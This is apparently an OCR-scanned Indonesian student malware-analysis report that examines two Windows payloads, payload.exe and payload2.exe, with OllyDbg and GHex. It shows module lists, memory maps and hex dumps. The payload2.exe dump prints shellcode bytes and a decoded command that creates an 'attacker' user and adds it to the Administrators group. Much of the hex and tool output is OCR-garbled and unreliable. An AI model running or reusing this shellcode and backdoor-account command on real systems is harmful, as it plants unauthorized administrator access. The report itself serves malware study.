
68
20
20
69
74
00
6E
65
20
20
64
73
74
64
00
00
85
70
6C
66
00
FF
00
00
77
00
00
00
00
00

61]
74
6F|
64
20
00|
65
64
77,
74
2§
20
75
65
00|
00
6(
72
65
6F|
00
FF
00
00
73
00
00
00
00|

00|

is invalid..... DS0 load failed.No sha
red memory is currently available.No t
hread key structure was provided and o
ne was required...No thread was provid
ied and one was required..... No socket
was provided and one was required.....
No poll structure was provided and one
was required..... No lock was provided
and one was required...No directory w
as provided and one was required..No t
lime was provided and one was required.
..No process was provided and one was

required....An invalid was retu
rned..An invalid date has been provide
d...A new pool could not be created...
..Unrecognized Win32 error code %d....
N2 UGN G L WP WA Cancel
Io....GetCompressedFileSizeA. .GetCompr
lessedFileSizeW. .ZwQueryInformationFile
..GetSecurityInfo.GetNamedSecurityInfo
/A...GetNamedSecurityInfoW...U.N.C.\...
..GetEffectiveRightsFromAclW..........

.. L ..ntdll.d1ll...shell32.ws
2 _32..mswsock.advapi32....kernel32....

Signed 8 bit: [ 116

Unsigned 8 bit: [ 116

Signed 16 bit: | 8308

Unsigned 16 bit: [ 8308

Show little endian decoding

Offset: 0x10050; 0x6 bytes from 0x1004B to 0x10050 selected

Figure 13

Signed 32 bit: [ 1635197044

unsigned 32 bit: | 1635197044

Float 32 bit: | 2,849178e+20

Float 64 bit: [ 4,701080e+180

Hexadecimal: [ 74

octal: | 164

Binary: | 01110100

Stream Length: [ 8 -

() show unsigned and Float as hexadecimal



o payload.exe - GHex

File Edit view Windows Help

[6BBBEAGZ[DA 60 60 06 00 00 43 6F 70 79 72 69 67 68 74 20 31 39 39 36 20 41 64 61 6D 20 54 77 69 73 73 2C 20 SA 65 75 73 26| [-..... Copyright 1996 Adam Twiss, Zeus
0BBBEABS|54 65 63 68 6E 6F 6C 6F 67 79 20 4C 74 64 2C 20 68 74 74 70 3A 2F 2F 77 77 77 2E 7A 65 75 73 74 65 63 68 2E 6E 65 [Technology Ltd, http://www.zeustech.ne
0BBBEAAE[74 2F BA 00 00 80 54 68 69 73 20 69 73 20 41 70 61 63 68 65 42 65 6E 63 68 2C 20 56 65 72 73 69 6F 6E 20 25 73 OA [t/....This is ApacheBench, Version %s.
0BBOEAD4|DO B0 ©O ©© 32 2E 33 26 3C 24 52 65 76 69 73 69 6F 6E 3A 20 36 35 35 36 35 34 20 24 3E 00 60 00 20 20 20 20 2D 68 |....2.3 <$Revision: 655654 $>...  -h
GBEBEAFA20 20 20 20 20 20 20 26 20 20 20 20 20 20 44 69 73 76 6C 61 79 20 75 73 61 67 65 26 69 6E 66 GF 72 6D 61 74 69 6F Display usage informatio
0BBBEB2B|SE 20 28 74 68 69 73 20 6D 65 73 73 61 67 65 29 BA 66 60 60 20 20 20 20 2D 72 20 26 20 20 20 20 20 20 20 20 20 26 | (this message)....  -r

00BBEB46[20 20 44 6F 6E 27 74 20 65 78 69 74 20 6F 6E 20 73 6F 63 6B 65 74 20 72 65 63 65 69 76 65 20 65 72 72 6F 72 73 2/ | Don't exit on socket receive errors.
0GBEBGC|DA 60 B0 0O 20 20 20 20 2D 65 20 66 69 6C 65 6E 61 6D 65 20 20 20 20 20 4F 75 74 70 75 74 20 43 53 56 20 66 69 6C |....  -e filename Output CSV fil
0BBBEBI2|65 20 77 69 74 68 20 76 65 72 63 65 6E 74 61 67 65 73 20 73 65 72 76 65 64 GA 00 00 00 00 20 20 20 20 2D 67 20 66 [o with percentages served..... g f
06BEBBEB|EO 6C 65 6E 61 6D 65 20 20 20 20 20 4F 75 74 70 75 74 20 63 6F 6C 6C 65 63 74 65 64 20 64 61 74 61 20 74 6F 20 67 [ilename Output collected data to g
6BBBEBDE|SE 75 70 6C 6F 74 20 66 6F 72 6D 61 74 20 66 69 6C 65 2E GA B 6 00 0O 0O 60 20 26 20 20 2D 53 20 20 20 20 20 26| |nuplot format file........ -s
00BBECE4[20 20 20 20 20 20 20 20 44 6F 20 6E 6F 74 20 73 68 6F 77 20 63 G6F 6E 66 69 64 65 6E 63 65 20 65 73 74 69 6D 61 74 Do not show confidence estimat
0BBBEC2A|GF 72 73 20 61 6E 64 20 77 61 72 6E 69 6E 67 73 2E OA 00 00 BO 00 20 20 20 20 2D 64 20 20 20 20 20 20 20 20 20 26| |ors and warnings...... -d
0BBECS6[20 20 20 20 44 6F 20 6E 6F 74 20 73 68 6F 77 20 70 65 72 63 65 6E 74 69 6C 65 73 26 73 65 72 76 65 64 20 74 61 62 Do not show percentiles served tab
06BOEC76/5C 65 2E BA 00 90 20 20 20 20 2D 6B 20 20 20 20 20 26 20 20 20 20 20 20 20 20 55 73 65 20 48 54 54 50 20 4B 65 65| [le.... -k Use HTTP Kee
6BBBECIC[70 41 6C 69 76 65 26 66 65 61 74 75 72 65 A 00 20 26 20 20 2D 56 20 20 20 20 20 20 20 20 20 206 20 20 20 20 50 72| [pAlive feature.. -V Pr
0BBBECC2|59 6E 74 20 76 65 72 73 69 6F 6E 20 6E 75 6D 62 65 72 20 61 6E 64 20 65 78 63 74 DA 00 00 20 20 20 20 2D 58 20 76 [int version number and exit...  -X p
0BBBECES[72 6F 78 79 3A 70 6F 72 74 20 20 20 58 72 6F 78 79 73 65 72 76 65 72 20 61 6E 64 20 [ONGENIZNIZNZONGENSNEDNG2NES |oxy:port  Proxyserver and
06OGEDGE[W@ 20 74 6F 20 75 73 65 GA 60 20 20 20 20 2D 50 20 61 74 74 72 69 62 75 74 65 20 20 20 20 41 64 64 20 42 61 73 69 |f to use..  -P attribute  Add Basi
06BED34|63 20 50 72 6F 78 79 20 41 75 74 68 65 6E 74 69 63 61 74 69 6F GE 2C 20 74 68 65 20 61 74 74 72 63 62 75 74 65 73| |c Proxy Authentication, the attributes
0BBBEDSADA 60 00 06 00 80 26 26 20 20 20 20 20 20 20 20 20 26 20 20 20 20 20 20 20 20 61 72 65 20 61 20 63 6F 6C 6F 6E 26| |...... are a colon
00BBEDBE[73 65 70 61 72 61 74 65 64 20 75 73 65 72 6E 61 6D 65 20 61 6E 64 20 70 61 73 73 77 6F 72 64 2E OA 00 00 00 00 06| |[separated username and password.......
0GBBEDAG|DD 60 20 20 20 20 2D 41 20 61 74 74 72 69 62 75 74 65 20 20 20 20 41 64 64 20 42 61 73 69 63 20 57 57 57 20 41 75 |..  -A attribute  Add Basic WWW Au
06BBEDCC[74 68 65 6E 74 69 63 61 74 69 6F 6E 2C 20 74 68 65 26 61 74 74 72 69 62 75 74 65 73 DA 00 60 00 60 00 00 00 20 26| [thentication, the attributes........
0GBOEDF2[20 20 20 26 20 20 20 26 20 20 20 20 20 20 20 20 20 20 49 6E 73 65 72 74 65 64 20 61 66 74 65 72 20 61 6C 6C 20 6F Inserted after all n
6BBBEE18|SF 72 6D 61 6C 20 68 65 61 64 65 72 20 6C 69 6E 65 73 2E 20 28 72 65 70 65 61 74 61 62 6C 65 29 OA 0O 00 00 60 06 lormal header lines. (repeatable)......
0OBEE3E|DD 60 20 20 20 20 2D 48 20 61 74 74 72 69 62 75 74 65 20 20 20 20 41 64 64 20 41 72 62 69 74 72 61 72 79 20 68 65 |..  -H attribute  Add Arbitrary he
0OBBEEG4|51 64 65 72 20 6C 69 6E 65 2C 20 65 67 2E 20 27 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 27| [ader line, eg. 'Accept-Encoding: gzip'
0BBBEEBAIDA 60 06 06 00 80 26 26 20 20 2D 43 20 61 74 74 72 69 62 75 74 65 20 20 20 20 41 64 64 20 63 6F 6F 6B 69 65 2C 26| |...... -C attribute  Add cookie,
0BBOEEBE|S5 67 2E 20 27 41 76 61 63 68 65 3D 31 32 33 34 2E 26 28 72 65 70 65 61 74 61 62 6C 65 29 BA 00 20 20 20 20 2D 7A |eg. 'Apache=1234. (repeatable).. -z

Signed 8 bit: | 112 Signed 32 bit: | 1953656688 Hexadecimal: | 70

Unsigned 8bit: | 112 Unsigned 32 bit: | 1953656688 Octal: | 160

Signed 16 bit: | 28528 Float 32 bit: | 7,683081e+31 ] Binary: (01110000

Unsigned 16 bit: | 28528 Float 64 bit: | 1,891223e+219 Stream Length: | 8 = |+
Show little endian decoding ") Show unsigned and Float as hexadecimal
Offset: 0XED04; OxB bytes Ffrom OXEDO4 to OXEDOE selected

Figure 14

Dari kedua tools yang sudah digunakan yaitu OllyDbg dan GHex, diketahui bahwa program “payload.exe” beroperasi
pada system operasi Windows, hal ini bisa diketahui dari melihat ekstensi dari program payload yaitu .exe, selain itu
juga bisa dilihat pada (Figure 8) terdapat string “MZ” dengan offset 0x0 pada sky dum yang merupakan salah satu ciri
khas dari setiap file .exe.

Program “payload.exe” beroperasi menggunakan port karena terdapat displayed string “port number” pada sky dum
(Figure 14) yang mana port ini akan digunakan sebagai portal dalam melakukan ekploitasi, program ini menggunakan
socket sebagai interface jaringan komunikasinya (Figure 13), socket sendiri terdiri dari beberapa elemen yaitu
Protokol, Local IP, Local Port, Remote IP, Remote Port. Dikarenakan menggunakan socket berarti akan terjadi
pertukaran data secara continue atau terus menerus. Adapun protocol yang digunakan dalam komunikasinya adalah
protocol TCP (The Transmission Control Protocol) (Figure 12).

Pada (Figure 5) diketahui bahwa program "payload.exe" executable pada beberapa modul di komputer victim, yaitu
pada WSOCK32 apphelp, CRYTBAS, SspiCli, KERNEL32, ADVAPI32, WS2_32, boryptOr, MSVCRT, sechost, RPCRT4,
KERNELBA, ntdll. Pada modul atau dll seperti WSOCK32 yang menyediakan WinSock API. WinSock mendukung multiple
stack protocol, interface, dan service provider. Ini yang dieksploit oleh program “payload.exe”. Dengan dapatnya
melakukan eksekusi pada modul penting tersebut memungkinkan computer victim untuk dilakukan ekploitasi dan juga
spy karena dapat melakukan remote access.



“Analisis cara kerja program payload2.exe”

# Menggunakan tools OllyDbg untuk mendapatkan informasi dari program “payload2.exe”

Log data EI@

Address [Message -

OllyDbg wi. i@

File "~~SAM-PC~Uzers~Sam~Down loads~pay loads~pay loads~pay load2. exe”
Mew process with ID BABBBE3C created
HESCEETIS| Main thread with ID BEEEHEZC created
FAESCEAAE| Modu le Cr=llindows~system32wntudm. exe
TE22E8E0 | Modu le Coslindows~swstem3z2~sfc_os.OLL
THZ4EEEH | Modu le Crsllindowssswstem22~sfo.dlL
TE1FEEEE| Hodu le Crsllindows~system32~KERNELEASE. L L
TEVREEEE| Modu Le Cislindows~systemIz~SHLWARPT. AL 1
TEEEE8EE | Modu Lle “Windows system3Z~RFCRT4. dl 1
FEEDEAEA | Modu Le sWlindows~system32~5HELL3Z2.dL 1L
TEEzEEad| Modu le CrslWindows~sustemdz~kernel32.d11
TEAZEEEE| Modu Lle “Windows sustem3Z-USF18.dl 1L
FEADBEEE| Modu Le W indows < SYSTEMS2~sechost.dl 1
TECIE8EE | Modu le sWindowsssustemI2~GDIZ2. dL1
TEEZBEEE | Modu Le \wLndows\systEMSE\msucrt.g{{

L1

FEEDEAEA| Modu Le =Windowssswstem22~JSER3Z.

Trezesaad| Modu le Coslindows~SYSTEMZZ2~ntdl L. d

FrleEEEd| Modu le Coslindows ~swstem32~LPK.dl 1

FP1BEERE| MHodu le Crsllindows~system32~AOVARIZZ. L1

TE2EEEEE| Modu le Coslindows~sustem3z2~IMM32. OLL

GESCEESE| Program entry point

Analysing ntwdm
1985 heuristical procedures
1448 calls to known, E1l4 calls to guessed functions
1624 loops, 228 switches

[xlylylylwlwlwlewlelylylylylylyly]

Figure 15
[M] Memory map [E=5 Eol ===
Address |Size Owner Section |Contains Tupe| Access | Initial| Happed as -~
BlRaa06a) 0681088 Map | Rl Rl
B1818668) BEE1REEE Map | Bl Rl
B1ASCHRE) BREE1AaE Priv| Bl Gual Rl
H1RE0EEE | BEEEIHEE stack of ma|Priv|RW  Guaj R
H1BEEEEE BAEEIEEE Map |R R
B1E87E068 Ga86E1688 Priw| Rl Rl
B1E30668E | BEEs "EEE Map | R R sOewice~HarddiskVo lume2 - indows
B1AFB0EE8 BREESA8E Map |R R
811B8668| BABE26888 Map |R R
B11CREEE8) BREE1EA8E Priw| Rl Rl
81108668 GREESE8E Priw| Rl Rl
B12088EE ) BEEELEEE P iw| Bl Ell
B13CHGEE8 BRBE2A8E Priw| Rl [l
B1308668) BA1616888 Map |R R
B14ERGEE8) BAE4 10858 Map |R R
BESCHEEE8) BAEE1A8E | ntwdm FE header Imag| R RUWE
HESC168E | 8887 1888 | ntwdm ShERE code, import) Imaga| R RIE
BESZZHEE | BAE450EE8 | ntwvdm .data data Imaa|R RUE
BESY7HAE| BAEEIAEE | ntwdm CTErS TESOUrCES Imaa| R RUE
BESTADEE | BEEEIEEE | ntwdm e loc relozat ions| Imag| R RUE
TES20066| BEEE166E | <fc_os FE header Imag| R RUE
THI316688 | BEEE980E | sfc_os ShERE code, import) Imaga| R RIE
TESSA0EE) BABGE1E8E| sfc_os .dat s Imaa| R RUWE
THAS3BAAAE| AAEA1AEE | sfc_os CTErS TESOUrCES Imaa| R RUE
TESICHEE | BEEE1006| =fo_os e loc data, reloca) Imag| R RUE
TES4BEEE8| BAEE1A6E | sfc FE header Imag| R RMWE
THS41660E | BEEE1EEE| =fc ShERE data, exnport| Imaga| R RIE
TES4Z060E | B0E8 10608 <f ¢ CTECC CESOULCCES Imaa|R RUE
FE1FB6A8| BAEE 1686 | KERMELEA PE header Inaa| R RWE
FEIF1G6@8) BAa4208E8 KERHELEA| . teut code, import] Inaa| R RUWE
752346088 BABE2AAE| KERMHELEA| . data data Imag| R RMWE
FE226EEE | BEEE1EEE| KERMELER| . rsrc rESOULCCES Imaa| R RUE
FE2I7E0E| Baa83800 ) KERMELEA| . e loc relozat ions| Imaga| R RUE o
FEACHEAA| BAACCARE Irnaal R RUWE
Figure 16
Threads E=R(EoR(™>=
Ident Entry Oata block|Last error Status Priority|lUser tims Sustem time -
HEEAEEZC| BEBCEA9E| FFFOEREE ERROR_ACCESS_DENI| Act iwve 32+ 8 H. 56888 < B.8388 =

Figure 17




@ Executable modules

Base Size Entry Mame File version Fath
BESCARER| BRACZE80A| BESCEAE| ntudn 6.1.7680. 16335 | C:~llindows~sustemZ2wntudm. exte
TESIE0E0 GEEADE0E FEI231292) sfc_os | 6.1.76008.16285 |Ci~Windows~systemdz~sfc_os.OLL
TES4E000 | DERESE0E =fc S.l.7e80,. 16385 | CisWindows swstem32~sfo.dll
TEIFEERR| BRE4AREE | FS1FFA0| KERMELEA| 6. 1. 76688, 16285 | Ca~llindows™swsten32~KERNELBASE. AL 1
TETHEGERR| BREEFYHEE | FSFEAZ4A| SHLWART | &.1.76680. 16285 | Ca~llindows~swstem32~SHLWAFI. AL L
TESA00E | GA0A1808 FSS3AFD4| RPCRT4 | 6.1. 16385 | Cr~lindowsnsusten32~RPCRT4.dl 1L
TooBEOEE| GaBlFaEE | FERB13CE) IMHM32 .1.76680, 16285 | Co~Windows~sostem32~IMM22. 0LL
roolEEEE| BAC4000E | FE94D45A| SHELLSE | 6.1.76008. 16285 | Ci~Windowshsysten32~5HELL3Z. L1
TEEZEEER| BRE04EEE | FEST1ACE| kerne 122 6. 1. 7EER. 16385 | Cinlindows sustem32-kerne 132.d1 L
TEA3EEEE| BREI0EEE | FEAE47O7 | USP18 1.A62E. 7AEE. 163] Cillindows~sustem32-USP1@.dL L
TERDEEEE BaBl06868 FEAD497S sechost (6.1, B, 1 CiaWindows~SYSTEM3Z~sechost.dl L
TECIE0EE | BaB4ERDE | FECIECHD GDI3Z E.1.76680, 16285 | Ci~Windows~swstem3Z~G0I32.dL1
TEEZOEEE| BEBACHEE | FEEZAYVE| mevort Y.@.7eEE, 16225 | Civindows swstemZZmevert.dll
TEEDEERR| BRACIHEE | FEEEFFCY| USER3Z | 6.1.7668@. 16385 | Cilindowssswstem32~USERIZ. 1L
TTEZEE6E| G813Ca0E ntdll E.1.7880., 16585 | Ci~lindows~EYSTEMSZwntdlLl.dll
TrlcE0En BEBERB0E Friel2cC) LPK .1, 16285 | Cilindowsssusten32~LPK.dl L
77 1BE0AE| BABREEEE| 77102009 ADUAPTSE| 6. 1. 7600, 16385 | Ci Ul indows~susten32~ADUAPIS2. d11
Figure 18

@ CPU - main thread, module sechost

(o]l ]

TEAD1BEE SF Y Unknown command , | Registers (FPL <
e - T — 5:[EGP, £51 Modification of ~ [FRe"oee7iise kerne [oz.BazeThreadln Lt Thunk
LEDio07| Boaap1 sevecove|HDD BeTE FTE Dt LECiIER+res4d, AH Bl HEE :
FEADGEE| e AOO BYTE PTR O5: CEAR], AL S M
7EADLE1A[~76 F1 JBE SHORT sechost. 7601863 8 (e
TEniRiE[3E ap PR SFERT scohoss. PeRDigs2 3 [l
w sechost.
7eADLE1E| F1 INT1 300 (EEErE
7EADIA1G| 56 PUSH EST EIP GESCEO95 ntudm. <Madu LeEntryPoint>
7EADIB17|v76 68 JBE SHORT sechost.7oADI19 "
EAD1E1%| BEEE AOD EYTE PR DS: [EAR1, AL BY B s R Ehanadaade
FEADIG1E| @RE7 @S5FFE@0 | ADD BVTE PTR OG:[EDI+FSS7esl,OH 06 S B Eanaandas
FEADIEZ1| £R0e HOD BYTE PTR OS: [EAKD, AL 80 23S B Eagaandas
gAoE] b e % @ FZ @@36 3zhit FFFOE@BE(FFFI
eHDioos| eotk roepeeir | UL EBY-DWORD PTR DS:CEDII, 1FEEEETS 898 B e
T e i3
: [=
7ERDiaF| BGAB BSIFTES? | ADD ENTE PTR DS: [EEX+577E1FER], CH 0@ Lozaaw EEAlLHEs WahE) (EEEERER
FEAD B35 v G SHORT cechost.7eRD1GEE EFL @80Raz46 (MO, NE,E,BE, NS, PE, GE, LE)
TEAD1E2T v?5 SB .JNZ SHORT <&API-MS-Win-Core-FrocessThre. STE empty @.8
FEAD A3 M5 EYTE PTR ES:[EOI], DX 1-0_command - ;
STL empty 8.8
STZ empty B.8
ST3 empty 8.8
5T4 empty 8.8
STE empty B, 8
Addrecs |Hew dum AECIl = TEETII74| RETURN to kerne 52, 7571174 =
AECCO0A| BE 16 S0 O] A1 00 08 66| (- (Af... et ER 00D
AR S ST |G ) e o e ol aleEFc14| | 7revESFE| RETURN dl 1. PPEFBIFE
BEZ22R1Q| B0 OF 94 BE(BE 88 98 0Bl a=oH, ... ataercis|| SEFORaRE 9® mEEklo
£ .
PRI T A R B S b emeilitho A1eEFCIC|| PEBCIEET| SHELLS2. PERCISEL
QESI2625 L a1esrCze
BES326ZR 21a5Fcad
SR aiecrczz|| 7RFDF
BES32640 alasFcat
EPEEEED G1GEFC 36
e oaaots] alacrCas|| anenpans
S oaaoe aiaerces|| aiesrcic
e oaaoss] e o | e )
SR alaEFCaa|| FFFFFFFF|End of SEH chain
SR alaeFCad|| 77e20740| SE handler
Eoaaong aiaercas|| aoeEECSS
Easaon] alesFoac| | apennans
[ v | migercea| Lalasroas -

Figure 19

# Menggunakan tools GHex untuk mendapatkan informasi dari program “payload2.exe”

root@sam-virtualBox: fhomefsam/Downloads/TUGAS fpayloads# 1s

html payload2.exe payload.exe

root@sam-virtualBox: /homefsam/Downloads/TUGAS fpayloads# ghex payload2.exe

Figure 20



D payload2.exe - GHex

File Edit View

Bﬂﬂﬂﬁ)ﬁ)ﬂﬁﬁc E8 82 00 00 0O 60 89 E5 31 Co 64 8B 50 30 8B 52 oC 8B 52 14 8B 72 28 OF B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 CJ
00000026|CF ©D ©1 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20 ©1 D3 8B 49 18 E3 3A 49 8B 34 8B 01
@0066e4CID6 31 FF AC C1 CF OD @1 C7 38 E@ 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 01 D3 66 8B OC 4B 8B 58 1C 01 D3 8B 04
000000728B 01 DO 89 44 24 24 5B 5B 61 59 5A 51 FF E@ 5F 5F 5A 8B 12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 56 68 31 8B 6F 87 FF
00000E98ID5 BB FO B> A2 56 68 A6 95 BD 9D FF D5 3C 06 7C OA 80 FB E@ 75 05 BB 47 13 72 6F 6A 00 53 FF D5 63 6D 64 2E 65 78 |..... Vhoo.o.oo. <.|....u..6.roj.S5..cmd.ex
5 20 2F 63 20 6E 65 74 20 75 73 65 72 20 61 74 74 61 63 6B 65 72 20 47 61 6E 74 65 6E 67 31 20 2F 41 44 44 20 26| |e /c net user attacker Gantengl /ADD &
0O00GOE4|26 20 6E 65 74 20 6C 6F 63 61 6C 67 72 6F 75 70 20 41 64 6D 69 6E 69 73 74 72 61 74 6F 72 73 20 61 74 74 61 63 6B |& net localgroup Administrators attack
PO0OOLOAIGS 72 20 2F 41 44 44 00 er /ADD.
Signed 8 bit: 4-4 signed 32 bit: 4-51371232 Hexadecimal: 'Fc
Unsigned 8 bit: [ 252 Unsigned 32 bit: | 4243096064 oOctal: [ 374
signed 16 bit: 4-?92 Float 32 bit: 4-9,65?997e+36 Binary: ’11111100
Unsigned 16 bit: | 64744 Float 64 bit: [ 4,891368e+293 Stream Length: [ 8 -+
|_J show little endian decoding "] Show unsigned and float as hexadecimal
Offset: 0x0
Figure 21
Signed 8bit: [ -4 Signed 32 bit: | 8579324 Hexadecimal: | FC
Unsigned 8 bit: | 252 Unsigned 32 bit: 48579324 Octal: '374
Signed 16 bit: | -5892 Float 32 bit: [ 1,202219e-38 Binary: [ 11111100
Unsigned 16 bit: ‘59644 Float 64 bit: 4-1,55?866&263 Stream Length: 'B -+
show little endian decoding ) show unsigned and float as hexadecimal
Offset: 0x0
Figure 22
Signed 8 bit: '-4 Signed 32 bit: 4-51371232 Hexadecimal: 'FC
Unsigned 8 bit: | oxFC Unsigned 32 bit: | 0xFCE88200 octal: [ 374
signed 16 bit: ’-792 Float 32 bit: 4-0X1,D104P+122 Binary: [ 11111100
Unsigned 16 bit: [ 0xFCES Float 64 bit: | -0X1,8820000006089P+975 Stream Length: [ 8 -+
") show little endian decoding (% show unsigned and float as hexadecimal
Offset: 0x0
Figure 23
Signed 8 bit: ‘65 Signed 32 bit: [ 1768776769 Hexadecimal: 441
Unsigned 8 bit: | 0x41 Unsigned 32 bit: | 0x696D6441 octal: [ 101
Signed 16 bit: | 25665 Float 32 bit: [ 0x1,0AC882P+83 Binary: [ 01000001
Unsigned 16 bit: ’Ox6441 Float 64 bit: ’0X1.3696E696D6441F+840 Stream Length: 48 -+

Show little endian decoding

Offset: 0xF5; OXE bytes from OXF5 to 0x102 selected

Figure 24

Show unsigned and float as hexadecimal

Pada (Figure 18) diketahui bahwa program "payload2.exe" executable pada beberapa modul di komputer victim, yaitu
pada ntvdm, sfc_os, sfc, KERNELBA, SHLWAPI, RPCRT4, IMM32, SHELL32, kernel32, USP10, sechost, GDI32, msvort,
USER32, ntdll, LPK, ADVAPI32. Melihat dari modul-modul yang executable seperti USER32 dan juga melihat dari
displayed string “Administrator attacker” pada sky dum (Figure 21) malware payload2.exe ini dapat melakukan

manipulasi atau eksploitasi system administrator pada komputer victim.
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